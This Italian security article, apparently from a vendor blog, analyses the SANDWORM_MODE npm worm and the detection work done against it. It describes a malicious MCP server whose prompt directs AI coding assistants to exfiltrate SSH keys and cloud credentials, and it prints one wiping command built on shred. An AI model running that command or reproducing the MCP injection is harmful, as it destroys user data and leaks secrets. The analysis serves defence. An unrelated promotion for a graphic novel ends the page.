SANDWORM_MODE è un worm supply chain che sfrutta npm, pipeline CI/CD e assistenti AI come GitHub Copilot, Cursor e Claude Code. Colpisce credenziali, server MCP e workflow di sviluppo automatizzati, inaugurando una nuova era di attacchi Living Off the AI Toolchain.
Nel febbraio 2026, Socket.dev ha pubblicato una ricerca su un worm multi-stage della supply chain npm operante sotto il flag interno SANDWORM_MODE. La campagna ha interessato complessivamente 19 pacchetti malevoli, distribuiti attraverso due distinti alias di pubblicazione, e ha dimostrato l’emergere di una nuova categoria di attacchi alla supply chain che prende di mira i workflow di sviluppo software potenziati dall’intelligenza artificiale.
Mentre molti dei recenti attacchi alla supply chain colpiscono gli artefatti di build,introducono backdoor statiche oppure sono finalizzati al furto su larga scala di credenziali, SANDWORM_MODE si è distinto per lo sfruttamento del comportamento durante il runtime degli assistenti di coding basati sull’AI, dell’automazione CI e delle toolchain LLM. Uno degli aspetti più complessi dell’attività di detection engineering in risposta a queste campagne è che gli ambienti nei quali si svolgono le attività malevole sono, dal punto di vista operativo, indistinguibili dalle normali operazioni legittime.
Questo articolo esamina l’anatomia della catena di infezione di SANDWORM_MODE, la mette in relazione con i componenti di una moderna pipeline CI/CD basata sull’AI e descrive nel dettaglio l’attività di detection engineering svolta successivamente. L’analisi comprende gli approcci che si sono dimostrati efficaci, quelli che non hanno prodotto i risultati attesi e le ragioni per cui il divario tra questi due insiemi rappresenta la sfida fondamentale nella protezione da questo vettore di attacco.
La distribuzione del software moderna si affida sempre più a pipeline potenziate dall’intelligenza artificiale. Sebbene le implementazioni varino a seconda dei provider (GitHub Actions, GitLab CI, Bitbucket Pipelines) e degli assistenti di AI (GitHub Copilot, Cursor, Claude Code, Windsurf), l’architettura di riferimento condivide un insieme coerente di componenti:
| Componente | Ruolo | Esempio |
| Registry dei pacchetti | Risoluzione e distribuzione delle dipendenze | npm, PyPI |
| Assistente di coding basato sull’AI | Generazione del codice, esecuzione di strumenti, server MCP | GitHub Copilot, Cursor, Claude Code |
| Runner CI/CD | Automazione delle attività di build, test e pubblicazione | GitHub Actions Runner |
| Secret store | Gestione delle credenziali per l’automazione | GitHub Secrets, token .npmrc |
| API del sistema di controllo versione | Gestione dei repository, automazione delle Pull Request (PR) | GitHub REST API, GitHub GraphQL API |
| Provider LLM | Inferenza lato backend per gli strumenti di IA | OpenAI, Anthropic, Google APIs |
Ciascun componente di questa pipeline rappresenta al tempo stesso una dipendenza funzionale e una superficie di attacco. SANDWORM_MODE ha preso di mira tutti e sei i componenti.
SANDWORM_MODE opera attraverso tre fasi distinte, ciascuna progettata per eludere l’analisi nel contesto in cui viene eseguita.
Il payload iniziale utilizza una codifica multilivello mediante decodifica Base64, decompressione tramite zlib, decifratura XOR e chiamate indirette a eval() o Module._compile(), attivate al momento dell’importazione del pacchetto. Questa fase non contiene una logica esplicitamente malevola, poiché la sua funzione principale consiste nell’estrarre il payload durante il runtime. Questa tecnica consente di eludere numerosi strumenti di analisi statica che basano il rilevamento sulla scansione del contenuto dei pacchetti al momento della pubblicazione.
All’attivazione, il loader esegue le seguenti operazioni:
Successivamente, un meccanismo time bomb della durata compresa tra 48 e 96 ore ritarda la decifratura della Fase 2, salvo negli ambienti CI, nei quali viene attivata immediatamente.
Questa progettazione a doppio percorso garantisce la massima copertura, combinando una persistenza ritardata sulle workstation degli sviluppatori con uno sfruttamento immediato negli ambienti CI effimeri, nei quali la finestra temporale disponibile è significativamente più breve.
Fase 2: Set completo di funzionalità
Una volta superato il meccanismo di ritardo, la decifratura AES-256-GCM estrae il payload completo in /dev/shm, lo esegue tramite require() e rimuove immediatamente il file mediante unlink(). Questo approccio è analogo al reflective loading adattato al runtime di Node.js e non lascia artefatti forensi sul disco.
Le funzionalità della Fase 2 si mappano direttamente sui componenti della pipeline di AI.
SANDWORM_MODE si propaga attraverso tre vettori indipendenti, ciascuno dei quali sfrutta un diverso tipo di credenziale.
Utilizzando i token npm sottratti, esegue il comando whoami per identificare l’identità compromessa, enumera tutti i pacchetti pubblicati con quell’account, inserisce in ciascuno lo shim loader della Fase 0 ed esegue quindi npm publish per distribuire le versioni infette ai consumer a valle. Utilizzando i token delle API GitHub, enumera i repository accessibili, inserisce una dipendenza carrier, esegue un commit oppure apre una pull request e inserisce un workflow pull_request_target che viene eseguito nel contesto del repository di base, aggirando l’isolamento basato sui fork. Quando i metodi basati sulle API non sono disponibili, un meccanismo di fallback basato su SSH esegue l’autenticazione tramite ssh -T [email protected], clona direttamente i repository di destinazione, inserisce la dipendenza ed esegue il push delle modifiche.
Il worm stabilisce la persistenza scrivendo hook pre-commit e pre-push malevoli nella directory ~/.git-templates/hooks/, quindi imposta git config –global init.templateDir affinché punti a tale directory. Una volta completata con successo questa operazione, ogni successiva esecuzione di git init o git clone sul sistema compromesso eredita automaticamente gli hook infetti e propaga SANDWORM_MODE in qualsiasi nuovo repository con cui lo sviluppatore interagisca, senza richiedere ulteriori azioni.
Il worm distribuisce un server MCP malevolo in una directory nascosta (ad esempio ~/.dev-utils/server.js) e genera un nome casuale a partire da insiemi di parole interni (tra gli esempi osservati figurano .dev-utils/ e .node-analyzer/). Successivamente, inserisce voci di configurazione nei file di configurazione di Claude Desktop, Cursor, VSCode e Windsurf, registrando il server malevolo appena distribuito come provider di strumenti attendibile. Una volta attivata la nuova configurazione, il system prompt del server istruisce gli assistenti di AI a leggere ed esfiltrare silenziosamente chiavi SSH, credenziali AWS, token npm e segreti dell’ambiente attraverso l’interfaccia degli strumenti. Indipendentemente da questa attività, il worm raccoglie le chiavi API di nove provider LLM (OpenAI, Anthropic, Google, Groq, Together, Fireworks, Replicate, Mistral e Cohere) dalle variabili d’ambiente e dai file .env.
Oltre al furto di credenziali, il worm prende di mira le interfacce a riga di comando CLI dei password manager (bw, op, lpass) e gli archivi SQLite locali, come Apple Notes, Messages, Joplin e la cronologia degli appunti, alla ricerca di contenuti sensibili. L’esfiltrazione adotta un approccio multicanale: i dati vengono inizialmente inviati mediante richieste HTTP POST su HTTPS all’infrastruttura controllata dall’attaccante, quindi replicati in repository GitHub privati sotto il controllo dell’attaccante a fini di ridondanza. Qualora entrambi i canali primari risultino bloccati, il malware ricorre al DNS tunneling con codifica Base32 e, come meccanismo di fallback di ultima istanza, a un domain generation algorithm.
Un dead switch si attiva qualora la propagazione e l’esfiltrazione falliscano simultaneamente: find ~ -type f -writable -user $USER -print0 | xargs -0 shred -uvz -n 1. Questo meccanismo di contingenza distrugge tutti i file dell’utente sui quali quest’ultimo dispone dei permessi di scrittura e garantisce che, qualora il worm non sia in grado di propagarsi o di estrarre valore, neghi al proprietario l’utilizzo dell’ambiente compromesso e lo distrugga.
A seguito della divulgazione di Socket.dev, è stata condotta una gap analysis per mappare le capacità di SANDWORM_MODE rispetto ai contenuti di rilevamento già esistenti. L’attività di engineering risultante ha portato allo sviluppo di molteplici casi di rilevamento distinti. Di questi, il 65% è stato implementato, mentre i rimanenti sono stati giudicati non realizzabili alla luce degli attuali vincoli della telemetria.
Dove il segnale è presente
I rilevamenti che hanno raggiunto un livello di affidabilità idoneo alla produzione condividono tutti un modello comune: l’analisi della genealogia dell’albero dei processi combinata con una specificità mirata e circoscritta dell’obiettivo. Un processo padre node.js che esegue un’azione nei confronti di un percorso o di un comando caratterizzato da un uso legittimo limitato ha fornito una separazione sufficientemente netta tra segnale e rumore. La Figura 1mostra una schermata di uno dei nostri rilevamenti pubblicati attivatosi in risposta a un’emulazione del worm SANDWORM_MODE.

Diversi dei nostri rilevamenti hanno raggiunto uno stato di esposizione visibile ai clienti. I rimanenti sono stati mantenuti in uno stato di silent alerting. Questa modalità di gestione riveste un ruolo importante nella generazione di telemetria per i detection engineer e per le regole di correlazione interne, ma non espone tali rilevamenti come alert nell’interfaccia utente destinata ai clienti. I segnali raccolti tramite silent alerting contribuiscono all’osservazione di tendenze diffuse attraverso numerosi ambienti senza generare il rumore che comprometterebbe la fiducia nell’affidabilità degli avvisi. Il delicato equilibrio tra la distribuzione di contenuti di rilevamento ad alta affidabilità e la necessità che tali contenuti siano supportati dall’osservazione di tendenze reali è reso possibile dal silent alerting. Una volta che un determinato rilevamento soddisfa i rigorosi requisiti di efficacia previsti, viene promosso a uno stato visibile ai clienti, così da ridurre al minimo il potenziale impatto dei falsi positivi.
Diversi dei nostri casi di rilevamento sono stati archiviati come non realizzabili. In ciascuno di questi casi, il problema fondamentale era il medesimo: gli strumenti di sviluppo legittimi e l’automazione CI producono una telemetria indistinguibile da quella del comportamento malevolo oggetto del rilevamento. Le routine di propagazione del worm replicano le normali operazioni di Git e dei package registry, che vengono eseguite migliaia di volte al giorno in molti ambienti CI attivi. Inoltre, le sue capacità distruttive presentano una significativa sovrapposizione con i legittimi workflow di cancellazione sicura e di pulizia degli artefatti. Anche la ricognizione locale dell’infrastruttura di AI è indistinguibile dai controlli di integrità che molte piattaforme di strumenti di sviluppo eseguono nell’ambito del normale utilizzo.
Le tradizionali tecniche di living off the land sfruttano binari nativi del sistema operativo, come PowerShell, certutil o mshta, per confondere le operazioni malevole con il normale comportamento del sistema. SANDWORM_MODE introduce un modello analogo per gli ambienti di sviluppo potenziati dall’AI: living off the AI toolchain.
Questa perdita di capacità discriminante è bilaterale e interessa sia il lato utente sia il lato CI/CD. Sul lato utente, molti assistenti di coding basati sull’AI eseguono comandi arbitrari, scrivono file di configurazione, generano processi figli e interagiscono con le API, il tutto nell’ambito di un albero dei processi con node come processo padre. Il worm esegue le stesse operazioni, per le stesse ragioni e utilizzando gli stessi strumenti. Sul lato CI/CD, l’automazione esegue legittimamente npm publish, crea commit, apre pull request, esegue il push verso i repository e gestisce le credenziali. La logica di propagazione del worm è funzionalmente identica a quella di una pipeline di rilascio.
Non si tratta di una lacuna che può essere facilmente colmata mediante firme più efficaci o euristiche più aggressive. È una caratteristica strutturale degli ambienti nei quali gli strumenti oggetto dell’abuso sono essi stessi progettati per eseguire, per conto dello sviluppatore, operazioni arbitrarie impartite dall’utente.
La campagna SANDWORM_MODE impone una ricalibrazione delle aspettative nei confronti del rilevamento a livello endpoint negli ambienti di sviluppo potenziati dall’AI e porta a tre principali conclusioni:
SANDWORM_MODE non rappresenta tanto una campagna isolata quanto una prova di concetto di una nuova classe emergente di attacchi. Con il progressivo consolidarsi degli assistenti di coding basati sull’AI come componente standard dell’infrastruttura di sviluppo, i comportamenti che essi normalizzano diventano una copertura permanente per gli attaccanti che replicano gli stessi schemi operativi. Questa campagna dimostra che le minacce alla supply chain si stanno evolvendo fino a prendere di mira non soltanto i pacchetti software, ma anche i rapporti di fiducia incorporati nei workflow potenziati dall’AI.
L’attività di detection engineering in risposta a SANDWORM_MODE ha prodotto contenuti di rilevamento utilizzabili operativamente in molteplici fasi della kill chain, e gli indicatori di attacco sviluppati nel corso di questa attività stanno proteggendo attivamente i clienti CrowdStrike. Inoltre, l’indagine e l’analisi di questa campagna hanno consentito di definire modelli di telemetria e logiche di rilevamento per una categoria di minacce destinata a crescere con l’accelerazione dell’adozione delle toolchain di AI.
Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione.
Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica.
C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale.
Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/